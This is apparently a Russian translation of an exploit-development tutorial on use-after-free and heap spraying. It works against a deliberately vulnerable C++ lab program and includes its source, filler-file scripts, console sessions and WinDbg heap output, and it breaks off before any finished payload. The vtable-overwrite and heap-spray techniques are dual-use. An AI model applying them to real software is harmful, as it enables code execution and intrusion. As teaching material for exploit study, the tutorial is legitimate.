R0 CREW

Exploit Development Course Part 11: Exploitme5 (Heap Spraying & UAF) (Перевод: klaus)

Перейти к содержанию

Exploitme5 (Heap Spraying & UAF)

Советую прочитать предыдущие статьи (I, II, III, IV) если вы этого еще не сделали.

Для этого примера вам надо отключить DEP. В VS 2013 перейдите в Project→properties, и модифицируйте конфигурацию для Release следующим образом:

  • Configuration Properties

    • Linker

      • Advanced
      • Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

Исходный код exploitme5:

#include <conio.h>
#include <cstdio>
#include <cstdlib>
#include <vector>
 
using namespace std;
 
const bool printAddresses = true;
 
class Mutator {
protected:
    int param;
 
public:
    Mutator(int param) : param(param) {}
 
    virtual int getParam() const {
        return param;
    }
 
    virtual void mutate(void *data, int size) const = 0;
};
 
class Multiplier: public Mutator {
    int reserved[40];           // not used, for now!
 
public:
    Multiplier(int multiplier = 0) : Mutator(multiplier) {}
 
    virtual void mutate(void *data, int size) const {
        int *ptr = (int *)data;
        for (int i = 0; i < size / 4; ++i)
            ptr[i] *= getParam();
    }
};
 
class LowerCaser : public Mutator {
public:
    LowerCaser() : Mutator(0) {}
 
    virtual void mutate(void *data, int size) const {
        char *ptr = (char *)data;
        for (int i = 0; i < size; ++i)
            if (ptr[i] >= 'a' && ptr[i] <= 'z')
                ptr[i] -= 0x20;
    }
};
 
class Block {
    void *data;
    int size;
 
public:
    Block(void *data, int size) : data(data), size(size) {}
    void *getData() const { return data; }
    int getSize() const { return size; }
};
 
// Global variables
vector<Block> blocks;
Mutator *mutators[] = { new Multiplier(2), new LowerCaser() };
 
void configureMutator() {
    while (true) {
        printf(
            "1) Multiplier (multiplier = %d)\n"
            "2) LowerCaser\n"
            "3) Exit\n"
            "\n"
            "Your choice [1-3]: ", mutators[0]->getParam());
        int choice = _getch();
        printf("\n\n");
        if (choice == '3')
            break;
        if (choice >= '1' && choice <= '3') {
            if (choice == '1') {
                if (printAddresses)
                    printf("mutators[0] = 0x%08x\n", mutators[0]);
                delete mutators[0];
 
                printf("multiplier (int): ");
                int multiplier;
                int res = scanf_s("%d", &multiplier);
                fflush(stdin);
                if (res) {
                    mutators[0] = new Multiplier(multiplier);
                    if (printAddresses)
                        printf("mutators[0] = 0x%08x\n", mutators[0]);
                    printf("Multiplier was configured\n\n");
                }
                break;
            }
            else {
                printf("LowerCaser is not configurable for now!\n\n");
            }
        }
        else
            printf("Wrong choice!\n");
    }
}
 
void listBlocks() {
    printf("------- Blocks -------\n");
    if (!printAddresses)
        for (size_t i = 0; i < blocks.size(); ++i)
            printf("block %d: size = %d\n", i, blocks[i].getSize());
    else
        for (size_t i = 0; i < blocks.size(); ++i)
            printf("block %d: address = 0x%08x; size = %d\n", i, blocks[i].getData(), blocks[i].getSize());
    printf("----------------------\n\n");
}
 
void readBlock() {
    char *data;
    char filePath[1024];
 
    while (true) {
        printf("File path ('exit' to exit): ");
        scanf_s("%s", filePath, sizeof(filePath));
        fflush(stdin);
        printf("\n");
        if (!strcmp(filePath, "exit"))
            return;
        FILE *f = fopen(filePath, "rb");
        if (!f)
            printf("Can't open the file!\n\n");
        else {
            fseek(f, 0L, SEEK_END);
            long bytes = ftell(f);
            data = new char[bytes];
 
            fseek(f, 0L, SEEK_SET);
            int pos = 0;
            while (pos < bytes) {
                int len = bytes - pos > 200 ? 200 : bytes - pos;
                fread(data + pos, 1, len, f);
                pos += len;
            }
            fclose(f);
 
            blocks.push_back(Block(data, bytes));
 
            printf("Block read (%d bytes)\n\n", bytes);
            break;
        }
    }
}
 
void duplicateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to duplicate (-1 to exit): ");
        int index;
        scanf_s("%d", &index);
        fflush(stdin);
        if (index == -1)
            return;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                int copies;
                printf("Number of copies (-1 to exit): ");
                scanf_s("%d", &copies);
                fflush(stdin);
                if (copies == -1)
                    return;
                if (copies <= 0)
                    printf("Wrong number of copies!\n");
                else {
                    for (int i = 0; i < copies; ++i) {
                        int size = blocks[index].getSize();
                        void *data = new char[size];
                        memcpy(data, blocks[index].getData(), size);
                        blocks.push_back(Block(data, size));
                    }
                    return;
                }
            }
        }
    }
}
 
void myExit() {
    exit(0);
}
 
void mutateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to mutate (-1 to exit): ");
        int index;
        scanf_s("%d", &index);
        fflush(stdin);
        if (index == -1)
            break;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                printf(
                    "1) Multiplier\n"
                    "2) LowerCaser\n"
                    "3) Exit\n"
                    "Your choice [1-3]: ");
                int choice = _getch();
                printf("\n\n");
                if (choice == '3')
                    break;
                if (choice >= '1' && choice <= '3') {
                    choice -= '0';
                    mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
                    printf("The block was mutated.\n\n");
                    break;
                }
                else
                    printf("Wrong choice!\n\n");
            }
            break;
        }
    }
}
 
int handleMenu() {
    while (true) {
        printf(
            "1) Read block from file\n"
            "2) List blocks\n"
            "3) Duplicate Block\n"
            "4) Configure mutator\n"
            "5) Mutate block\n"
            "6) Exit\n"
            "\n"
            "Your choice [1-6]: ");
        int choice = _getch();
        printf("\n\n");
        if (choice >= '1' && choice <= '6')
            return choice - '0';
        else
            printf("Wrong choice!\n\n");
    }
}
 
int main() {
    typedef void(*funcPtr)();
    funcPtr functions[] = { readBlock, listBlocks, duplicateBlock, configureMutator, mutateBlock, myExit };
 
    while (true) {
        int choice = handleMenu();
        functions[choice - 1]();
    }
 
    return 0;
}

Данная программа больше предыдущих, так что давайте поговорим о ней. Она позволяет вам:

  1. Читать блок данных с файла;
  2. Дублировать блоки копируя их;
  3. Преобразовывать блоки выполняя над ними определенные операции.

Вы можете преобразовывать блок используя mutator (мутатор). Существуют два мутатора: первый называется Multiplier и перемножает двойные слова (DWORD) в блоке множителем, а второй – LowerCaser, он просто преобразовывается ASCII символы в нижний регистр.

Мутатор Multiplier может быть сконфигурирован, т.е. множитель может быть указан пользователем.

UAF

У этой программы есть баг под названием UAF (Use After Free – использование после освобождения).

Пример UAF баги:

Object *obj = new Object;
...
delete obj;           // освобождение
...
obj->method();        // использование

Как ввидите, obj используется после того как был освобожден. Проблема в том, что в С++, объекты должны освобождатся вручную (отсутствует сборщик мусора), поэтому из-за программной ошибки объект может быть освобожден раньше, чем закончится его использование в программе. После освобождения, obj становится так называемым висящим указателем (dangling pointer) из-за того, что он указывает на область памяти, данные которой уже были освобождены.

Как мы можем использовать этот баг? Основная идея в том, что бы получить контроль над участком памяти, на который указывает висящий указатель. Что бы понять как нам это сделать, нам надо знать как работает механизм выделения памяти. Мы говорили об этом (Windows Heap) в разделе Heap.

Если кратко, то куча содержит списки свободных блоков. Каждый список вмещает в себя свободные блоки определенного размера. К примеру, если нам надо выделить блок на 32 байта, то блок на 40 байт будет удален из соответствующего списка свободных блоков и возвращен вызывающему.

Важный факт: когда алокатор должен удалить свободные блоки из списка (free list), он возвращается на последний свободный блок который был добавлен в этот список. Это значит что, если объект, к примеру, размером в 32 байта освободился, то другой объект с таким же размером в 32 байта, который будет выделен, займет то самое место что занимал первый.

Посмотрим на пример:

Object *obj = new Object;
...
delete obj;
Object *obj2 = new Object;
...
obj->method();

В этом примере obj и obj2 будут в конечном итоге указывать на тот же объект из-за того, что блок памяти освобожденный с помощью delete будет немедленно возвращен следующим new.

Что случится, если вместо другого объекта мы выделим массив того же размера?
Пример:

Object *obj = new Object;         // sizeof(Object) = 32
...
delete obj;
int *data = new int[32/4];
data[0] = ptr_to_evil_VFTable;
...
obj->virtual_method();

Как мы видили раньше при работе с exploitme4, первый DWORD объекта, который имел таблицу виртуальных функций был указателем на эту таблицу. В примере выше, через UAF баг, мы можем переписать указатель на VFTable значением по нашему выбору.

Heap Spraying

Расспыление кучи (spray the heap) - означает заполнить стек данными, которые мы контролируем. В браузерах мы можем сделать это через JavaScript выделяя строки или другие объекты. Расспыление стека, это метод размещения нашего шелл-кода в адресном пространстве процесса которого мы атакуем.

Скажем, нам удалось заполнить стек следующими данными:

nop
nop
nop
.
.
.
nop
shellcode
nop
nop
nop
.
.
.
nop
shellcode
.
.
.
(и т.д.)

Даже если участки на кучи не полностью детерминированны, то если мы разместим достаточно данных на куче, и nop sleds будут достаточно длинные по отношению к нашему шелл-коду, тогда будет высокая вероятность при прыжке на конкретный адрес кучи, который будет nop’ом цепочкой пройдя которую далее выполнится наш шелл-код.

Изучая поведение кучи мы можем выполнить точное расспыление кучи так, что нам не понядобятся никакие nop sleds.

UAF в exploitme5

UAF баг находится в функции mutateBlock().

Глянем еще раз на код:

void configureMutator() {
    while (true) {
        printf(
            "1) Multiplier (multiplier = %d)\n"
            "2) LowerCaser\n"
            "3) Exit\n"
            "\n"
            "Your choice [1-3]: ", mutators[0]->getParam());
        int choice = _getch();
        printf("\n\n");
        if (choice == '3')
            break;
        if (choice >= '1' && choice <= '3') {
            if (choice == '1') {
                if (printAddresses)
                    printf("mutators[0] = 0x%08x\n", mutators[0]);
                delete mutators[0];         <========================== FREE
 
                printf("multiplier (int): ");
                int multiplier;
                int res = scanf_s("%d", &multiplier);
                fflush(stdin);
                if (res) {
                    mutators[0] = new Multiplier(multiplier);    <======= только если res == true
                    if (printAddresses)
                        printf("mutators[0] = 0x%08x\n", mutators[0]);
                    printf("Multiplier was configured\n\n");
                }
                break;
            }
            else {
                printf("LowerCaser is not configurable for now!\n\n");
            }
        }
        else
            printf("Wrong choice!\n");
    }
}

Посмотрите на два замечания в коде выше. Данная функция позволяет нам изменить множитель используя Multiplier мутатор, но если мы введем невалидное значение, к примеру, “asdf“, scanf_s() вернет false и mutators[0] станет висячим указателем потому что будет указывать на уже удаленный объект.

Ниже код определение Multiplier (и его базового класса Mutator):

class Mutator {
protected:
    int param;
 
public:
    Mutator(int param) : param(param) {}
 
    virtual int getParam() const {
        return param;
    }
 
    virtual void mutate(void *data, int size) const = 0;
};
 
class Multiplier: public Mutator {
    int reserved[40];           // not used, for now!
 
public:
    Multiplier(int multiplier = 0) : Mutator(multiplier) {}
 
    virtual void mutate(void *data, int size) const {
        int *ptr = (int *)data;
        for (int i = 0; i < size / 4; ++i)
            ptr[i] *= getParam();
    }
};

Размер Multiplier:

bytes       reason
--------------------------------
  4         VFTable ptr
  4         "param" property
40*4        "reserved" property
--------------------------------
 168 bytes

Поэтому, если мы выделяем блок в 168 байт, нам вернется блок который всё еще указывается массивом mutators[0]. Как нам создать такой блок? Мы можем использовать опциюRead block from file, но это может не работать, так как fopen() вызывается до того как новый блок выделится. Это может вызвать проблемы из-за того, что fopen() вызывает распределение внутренне.

Код readBlock():

void readBlock() {
    char *data;
    char filePath[1024];
 
    while (true) {
        printf("File path ('exit' to exit): ");
        scanf_s("%s", filePath, sizeof(filePath));
        fflush(stdin);
        printf("\n");
        if (!strcmp(filePath, "exit"))
            return;
        FILE *f = fopen(filePath, "rb");               <======================
        if (!f)
            printf("Can't open the file!\n\n");
        else {
            fseek(f, 0L, SEEK_END);
            long bytes = ftell(f);
            data = new char[bytes];                    <======================
 
            fseek(f, 0L, SEEK_SET);
            int pos = 0;
            while (pos < bytes) {
                int len = bytes - pos > 200 ? 200 : bytes - pos;
                fread(data + pos, 1, len, f);
                pos += len;
            }
            fclose(f);
 
            blocks.push_back(Block(data, bytes));
 
            printf("Block read (%d bytes)\n\n", bytes);
            break;
        }
    }
}

Для удобства, код выводит адреса освобожденных блоков Multiplier (mutators[0]) и занятых блоков (в listBlocks()).

Давайте попробуем эксплуатировать UAF баг. Сперва давайте создадим файл размером в 168 байт следующим Python скриптом:

with open(r'd:\obj.dat', 'wb') as f:
  f.write('a'*168)

Теперь давайте запустим exploitme5:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 4

1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit

Your choice [1-3]: 1

mutators[0] = 0x004fc488          <======== deallocated block
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\obj.dat

Block read (168 bytes)

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x004fc488; size = 168    <======= allocated block
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]:

Как видите, новый блок был выделен по тому же адресу, по которому был ранее мутатор. Это значит, что мы контролируем содержимое памяти на которое указывает mutators[0].

Кажется это работает, но лучший путь будет таким:

  1. Прочитать блок из файла
  2. Сконфигурировать мутатор =====> UAF баг
  3. Дублировать блок

Это более надежно, так как duplicateBlock() выделяет новый блок сразу, без вызова опасных функций до этого:

void duplicateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to duplicate (-1 to exit): ");
        int index;
        scanf_s("%d", &index);
        fflush(stdin);
        if (index == -1)
            return;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                int copies;
                printf("Number of copies (-1 to exit): ");
                scanf_s("%d", &copies);
                fflush(stdin);
                if (copies == -1)
                    return;
                if (copies <= 0)
                    printf("Wrong number of copies!\n");
                else {
                    for (int i = 0; i < copies; ++i) {
                        int size = blocks[index].getSize();
                        void *data = new char[size];       <========================
                        memcpy(data, blocks[index].getData(), size);
                        blocks.push_back(Block(data, size));
                    }
                    return;
                }
            }
        }
    }
}

Также попробуем второй метод:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\obj.dat

Block read (168 bytes)

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 4

1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit

Your choice [1-3]: 1

mutators[0] = 0x0071c488            <=====================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x0071c538; size = 168
----------------------

Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x0071c538; size = 168
block 1: address = 0x0071c488; size = 168   <=====================
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]:

Конечно же, это тоже работает.

Heap Spraying в eploitme5

Мы можем распылить стек прочитав большой блок из файла и потом делая много его копий. Давайте попробуем выделить блок в 1 МБ. Мы можем создать файл этим скриптом:

with open(r'd:\buf.dat', 'wb') as f:
    f.write('a'*0x100000)

0x100000 это 1 МБ в шестнадцатеричной системе исчисления. Давайте откроем exploitme5 в WinDbg и запустим:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\buf.dat

Block read (1048576 bytes)        <================ 1 MB

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x02070020; size = 1048576
----------------------

Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 200       <==================== 200 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x02070020; size = 1048576
block 1: address = 0x02270020; size = 1048576
block 2: address = 0x02380020; size = 1048576
block 3: address = 0x02490020; size = 1048576
block 4: address = 0x025a0020; size = 1048576
block 5: address = 0x026b0020; size = 1048576
block 6: address = 0x027c0020; size = 1048576
block 7: address = 0x028d0020; size = 1048576
block 8: address = 0x029e0020; size = 1048576
block 9: address = 0x02af0020; size = 1048576
block 10: address = 0x02c00020; size = 1048576
block 11: address = 0x02d10020; size = 1048576
block 12: address = 0x02e20020; size = 1048576
block 13: address = 0x02f30020; size = 1048576
block 14: address = 0x03040020; size = 1048576
block 15: address = 0x03150020; size = 1048576
block 16: address = 0x03260020; size = 1048576
block 17: address = 0x03370020; size = 1048576
block 18: address = 0x03480020; size = 1048576
block 19: address = 0x03590020; size = 1048576
block 20: address = 0x036a0020; size = 1048576
block 21: address = 0x037b0020; size = 1048576
block 22: address = 0x038c0020; size = 1048576
block 23: address = 0x039d0020; size = 1048576
block 24: address = 0x03ae0020; size = 1048576
block 25: address = 0x03bf0020; size = 1048576
block 26: address = 0x03d00020; size = 1048576
block 27: address = 0x03e10020; size = 1048576
block 28: address = 0x03f20020; size = 1048576
block 29: address = 0x04030020; size = 1048576
block 30: address = 0x04140020; size = 1048576
block 31: address = 0x04250020; size = 1048576
block 32: address = 0x04360020; size = 1048576
block 33: address = 0x04470020; size = 1048576
block 34: address = 0x04580020; size = 1048576
block 35: address = 0x04690020; size = 1048576
block 36: address = 0x047a0020; size = 1048576
block 37: address = 0x048b0020; size = 1048576
block 38: address = 0x049c0020; size = 1048576
block 39: address = 0x04ad0020; size = 1048576
block 40: address = 0x04be0020; size = 1048576
block 41: address = 0x04cf0020; size = 1048576
block 42: address = 0x04e00020; size = 1048576
block 43: address = 0x04f10020; size = 1048576
block 44: address = 0x05020020; size = 1048576
block 45: address = 0x05130020; size = 1048576
block 46: address = 0x05240020; size = 1048576
block 47: address = 0x05350020; size = 1048576
block 48: address = 0x05460020; size = 1048576
block 49: address = 0x05570020; size = 1048576
block 50: address = 0x05680020; size = 1048576
block 51: address = 0x05790020; size = 1048576
block 52: address = 0x058a0020; size = 1048576
block 53: address = 0x059b0020; size = 1048576
block 54: address = 0x05ac0020; size = 1048576
block 55: address = 0x05bd0020; size = 1048576
block 56: address = 0x05ce0020; size = 1048576
block 57: address = 0x05df0020; size = 1048576
block 58: address = 0x05f00020; size = 1048576
block 59: address = 0x06010020; size = 1048576
block 60: address = 0x06120020; size = 1048576
block 61: address = 0x06230020; size = 1048576
block 62: address = 0x06340020; size = 1048576
block 63: address = 0x06450020; size = 1048576
block 64: address = 0x06560020; size = 1048576
block 65: address = 0x06670020; size = 1048576
block 66: address = 0x06780020; size = 1048576
block 67: address = 0x06890020; size = 1048576
block 68: address = 0x069a0020; size = 1048576
block 69: address = 0x06ab0020; size = 1048576
block 70: address = 0x06bc0020; size = 1048576
block 71: address = 0x06cd0020; size = 1048576
block 72: address = 0x06de0020; size = 1048576
block 73: address = 0x06ef0020; size = 1048576
block 74: address = 0x07000020; size = 1048576
block 75: address = 0x07110020; size = 1048576
block 76: address = 0x07220020; size = 1048576
block 77: address = 0x07330020; size = 1048576
block 78: address = 0x07440020; size = 1048576
block 79: address = 0x07550020; size = 1048576
block 80: address = 0x07660020; size = 1048576
block 81: address = 0x07770020; size = 1048576
block 82: address = 0x07880020; size = 1048576
block 83: address = 0x07990020; size = 1048576
block 84: address = 0x07aa0020; size = 1048576
block 85: address = 0x07bb0020; size = 1048576
block 86: address = 0x07cc0020; size = 1048576
block 87: address = 0x07dd0020; size = 1048576
block 88: address = 0x07ee0020; size = 1048576
block 89: address = 0x07ff0020; size = 1048576
block 90: address = 0x08100020; size = 1048576
block 91: address = 0x08210020; size = 1048576
block 92: address = 0x08320020; size = 1048576
block 93: address = 0x08430020; size = 1048576
block 94: address = 0x08540020; size = 1048576
block 95: address = 0x08650020; size = 1048576
block 96: address = 0x08760020; size = 1048576
block 97: address = 0x08870020; size = 1048576
block 98: address = 0x08980020; size = 1048576
block 99: address = 0x08a90020; size = 1048576
block 100: address = 0x08ba0020; size = 1048576
block 101: address = 0x08cb0020; size = 1048576
block 102: address = 0x08dc0020; size = 1048576
block 103: address = 0x08ed0020; size = 1048576
block 104: address = 0x08fe0020; size = 1048576
block 105: address = 0x090f0020; size = 1048576
block 106: address = 0x09200020; size = 1048576
block 107: address = 0x09310020; size = 1048576
block 108: address = 0x09420020; size = 1048576
block 109: address = 0x09530020; size = 1048576
block 110: address = 0x09640020; size = 1048576
block 111: address = 0x09750020; size = 1048576
block 112: address = 0x09860020; size = 1048576
block 113: address = 0x09970020; size = 1048576
block 114: address = 0x09a80020; size = 1048576
block 115: address = 0x09b90020; size = 1048576
block 116: address = 0x09ca0020; size = 1048576
block 117: address = 0x09db0020; size = 1048576
block 118: address = 0x09ec0020; size = 1048576
block 119: address = 0x09fd0020; size = 1048576
block 120: address = 0x0a0e0020; size = 1048576
block 121: address = 0x0a1f0020; size = 1048576
block 122: address = 0x0a300020; size = 1048576
block 123: address = 0x0a410020; size = 1048576
block 124: address = 0x0a520020; size = 1048576
block 125: address = 0x0a630020; size = 1048576
block 126: address = 0x0a740020; size = 1048576
block 127: address = 0x0a850020; size = 1048576
block 128: address = 0x0a960020; size = 1048576
block 129: address = 0x0aa70020; size = 1048576
block 130: address = 0x0ab80020; size = 1048576
block 131: address = 0x0ac90020; size = 1048576
block 132: address = 0x0ada0020; size = 1048576
block 133: address = 0x0aeb0020; size = 1048576
block 134: address = 0x0afc0020; size = 1048576
block 135: address = 0x0b0d0020; size = 1048576
block 136: address = 0x0b1e0020; size = 1048576
block 137: address = 0x0b2f0020; size = 1048576
block 138: address = 0x0b400020; size = 1048576
block 139: address = 0x0b510020; size = 1048576
block 140: address = 0x0b620020; size = 1048576
block 141: address = 0x0b730020; size = 1048576
block 142: address = 0x0b840020; size = 1048576
block 143: address = 0x0b950020; size = 1048576
block 144: address = 0x0ba60020; size = 1048576
block 145: address = 0x0bb70020; size = 1048576
block 146: address = 0x0bc80020; size = 1048576
block 147: address = 0x0bd90020; size = 1048576
block 148: address = 0x0bea0020; size = 1048576
block 149: address = 0x0bfb0020; size = 1048576
block 150: address = 0x0c0c0020; size = 1048576
block 151: address = 0x0c1d0020; size = 1048576
block 152: address = 0x0c2e0020; size = 1048576
block 153: address = 0x0c3f0020; size = 1048576
block 154: address = 0x0c500020; size = 1048576
block 155: address = 0x0c610020; size = 1048576
block 156: address = 0x0c720020; size = 1048576
block 157: address = 0x0c830020; size = 1048576
block 158: address = 0x0c940020; size = 1048576
block 159: address = 0x0ca50020; size = 1048576
block 160: address = 0x0cb60020; size = 1048576
block 161: address = 0x0cc70020; size = 1048576
block 162: address = 0x0cd80020; size = 1048576
block 163: address = 0x0ce90020; size = 1048576
block 164: address = 0x0cfa0020; size = 1048576
block 165: address = 0x0d0b0020; size = 1048576
block 166: address = 0x0d1c0020; size = 1048576
block 167: address = 0x0d2d0020; size = 1048576
block 168: address = 0x0d3e0020; size = 1048576
block 169: address = 0x0d4f0020; size = 1048576
block 170: address = 0x0d600020; size = 1048576
block 171: address = 0x0d710020; size = 1048576
block 172: address = 0x0d820020; size = 1048576
block 173: address = 0x0d930020; size = 1048576
block 174: address = 0x0da40020; size = 1048576
block 175: address = 0x0db50020; size = 1048576
block 176: address = 0x0dc60020; size = 1048576
block 177: address = 0x0dd70020; size = 1048576
block 178: address = 0x0de80020; size = 1048576
block 179: address = 0x0df90020; size = 1048576
block 180: address = 0x0e0a0020; size = 1048576
block 181: address = 0x0e1b0020; size = 1048576
block 182: address = 0x0e2c0020; size = 1048576
block 183: address = 0x0e3d0020; size = 1048576
block 184: address = 0x0e4e0020; size = 1048576
block 185: address = 0x0e5f0020; size = 1048576
block 186: address = 0x0e700020; size = 1048576
block 187: address = 0x0e810020; size = 1048576
block 188: address = 0x0e920020; size = 1048576
block 189: address = 0x0ea30020; size = 1048576
block 190: address = 0x0eb40020; size = 1048576
block 191: address = 0x0ec50020; size = 1048576
block 192: address = 0x0ed60020; size = 1048576
block 193: address = 0x0ee70020; size = 1048576
block 194: address = 0x0ef80020; size = 1048576
block 195: address = 0x0f090020; size = 1048576
block 196: address = 0x0f1a0020; size = 1048576
block 197: address = 0x0f2b0020; size = 1048576
block 198: address = 0x0f3c0020; size = 1048576
block 199: address = 0x0f4d0020; size = 1048576
block 200: address = 0x0f5e0020; size = 1048576
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]:

Теперь кликните по Debug→Break в WinDbg и осмотрите кучу:

0:001> !heap
NtGlobalFlag enables following debugging aids for new heaps:    tail checking
    free checking
    validate parameters
Index   Address  Name      Debugging options enabled
  1:   00140000                 tail checking free checking validate parameters
  2:   00650000                 tail checking free checking validate parameters
  3:   01c80000                 tail checking free checking validate parameters
  4:   01e10000                 tail checking free checking validate parameters
0:001> !heap -m           <=========== -m displays the segments
Index   Address  Name      Debugging options enabled
  1:   00140000
    Segment at 00140000 to 00240000 (0002f000 bytes committed)
  2:   00650000
    Segment at 00650000 to 00660000 (00003000 bytes committed)
  3:   01c80000
    Segment at 01c80000 to 01c90000 (0000c000 bytes committed)
    Segment at 01e50000 to 01f50000 (0001c000 bytes committed)
  4:   01e10000
    Segment at 01e10000 to 01e50000 (00001000 bytes committed)

Это странно… где наши 200 МБ данных? Проблема в том, что когда менеджера кучи просят выделить блок, размер которого выше определенного значения, запрос посылается прямо к менеджеру виртуальной памяти.

Давайте посмотрим:

0:001> !heap -s                   ("-s" stands for "summary")
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x66cab5dc
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 02070000 - 02070000 (size 00000000)
Virtual block: 02270000 - 02270000 (size 00000000)
Virtual block: 02380000 - 02380000 (size 00000000)
Virtual block: 02490000 - 02490000 (size 00000000)
Virtual block: 025a0000 - 025a0000 (size 00000000)
Virtual block: 026b0000 - 026b0000 (size 00000000)
Virtual block: 027c0000 - 027c0000 (size 00000000)
Virtual block: 028d0000 - 028d0000 (size 00000000)
Virtual block: 029e0000 - 029e0000 (size 00000000)
Virtual block: 02af0000 - 02af0000 (size 00000000)
Virtual block: 02c00000 - 02c00000 (size 00000000)
Virtual block: 02d10000 - 02d10000 (size 00000000)
Virtual block: 02e20000 - 02e20000 (size 00000000)
Virtual block: 02f30000 - 02f30000 (size 00000000)
Virtual block: 03040000 - 03040000 (size 00000000)
Virtual block: 03150000 - 03150000 (size 00000000)
Virtual block: 03260000 - 03260000 (size 00000000)
Virtual block: 03370000 - 03370000 (size 00000000)
Virtual block: 03480000 - 03480000 (size 00000000)
Virtual block: 03590000 - 03590000 (size 00000000)
Virtual block: 036a0000 - 036a0000 (size 00000000)
Virtual block: 037b0000 - 037b0000 (size 00000000)
Virtual block: 038c0000 - 038c0000 (size 00000000)
Virtual block: 039d0000 - 039d0000 (size 00000000)
Virtual block: 03ae0000 - 03ae0000 (size 00000000)
Virtual block: 03bf0000 - 03bf0000 (size 00000000)
Virtual block: 03d00000 - 03d00000 (size 00000000)
Virtual block: 03e10000 - 03e10000 (size 00000000)
Virtual block: 03f20000 - 03f20000 (size 00000000)
Virtual block: 04030000 - 04030000 (size 00000000)
Virtual block: 04140000 - 04140000 (size 00000000)
Virtual block: 04250000 - 04250000 (size 00000000)
Virtual block: 04360000 - 04360000 (size 00000000)
Virtual block: 04470000 - 04470000 (size 00000000)
Virtual block: 04580000 - 04580000 (size 00000000)
Virtual block: 04690000 - 04690000 (size 00000000)
Virtual block: 047a0000 - 047a0000 (size 00000000)
Virtual block: 048b0000 - 048b0000 (size 00000000)
Virtual block: 049c0000 - 049c0000 (size 00000000)
Virtual block: 04ad0000 - 04ad0000 (size 00000000)
Virtual block: 04be0000 - 04be0000 (size 00000000)
Virtual block: 04cf0000 - 04cf0000 (size 00000000)
Virtual block: 04e00000 - 04e00000 (size 00000000)
Virtual block: 04f10000 - 04f10000 (size 00000000)
Virtual block: 05020000 - 05020000 (size 00000000)
Virtual block: 05130000 - 05130000 (size 00000000)
Virtual block: 05240000 - 05240000 (size 00000000)
Virtual block: 05350000 - 05350000 (size 00000000)
Virtual block: 05460000 - 05460000 (size 00000000)
Virtual block: 05570000 - 05570000 (size 00000000)
Virtual block: 05680000 - 05680000 (size 00000000)
Virtual block: 05790000 - 05790000 (size 00000000)
Virtual block: 058a0000 - 058a0000 (size 00000000)
Virtual block: 059b0000 - 059b0000 (size 00000000)
Virtual block: 05ac0000 - 05ac0000 (size 00000000)
Virtual block: 05bd0000 - 05bd0000 (size 00000000)
Virtual block: 05ce0000 - 05ce0000 (size 00000000)
Virtual block: 05df0000 - 05df0000 (size 00000000)
Virtual block: 05f00000 - 05f00000 (size 00000000)
Virtual block: 06010000 - 06010000 (size 00000000)
Virtual block: 06120000 - 06120000 (size 00000000)
Virtual block: 06230000 - 06230000 (size 00000000)
Virtual block: 06340000 - 06340000 (size 00000000)
Virtual block: 06450000 - 06450000 (size 00000000)
Virtual block: 06560000 - 06560000 (size 00000000)
Virtual block: 06670000 - 06670000 (size 00000000)
Virtual block: 06780000 - 06780000 (size 00000000)
Virtual block: 06890000 - 06890000 (size 00000000)
Virtual block: 069a0000 - 069a0000 (size 00000000)
Virtual block: 06ab0000 - 06ab0000 (size 00000000)
Virtual block: 06bc0000 - 06bc0000 (size 00000000)
Virtual block: 06cd0000 - 06cd0000 (size 00000000)
Virtual block: 06de0000 - 06de0000 (size 00000000)
Virtual block: 06ef0000 - 06ef0000 (size 00000000)
Virtual block: 07000000 - 07000000 (size 00000000)
Virtual block: 07110000 - 07110000 (size 00000000)
Virtual block: 07220000 - 07220000 (size 00000000)
Virtual block: 07330000 - 07330000 (size 00000000)
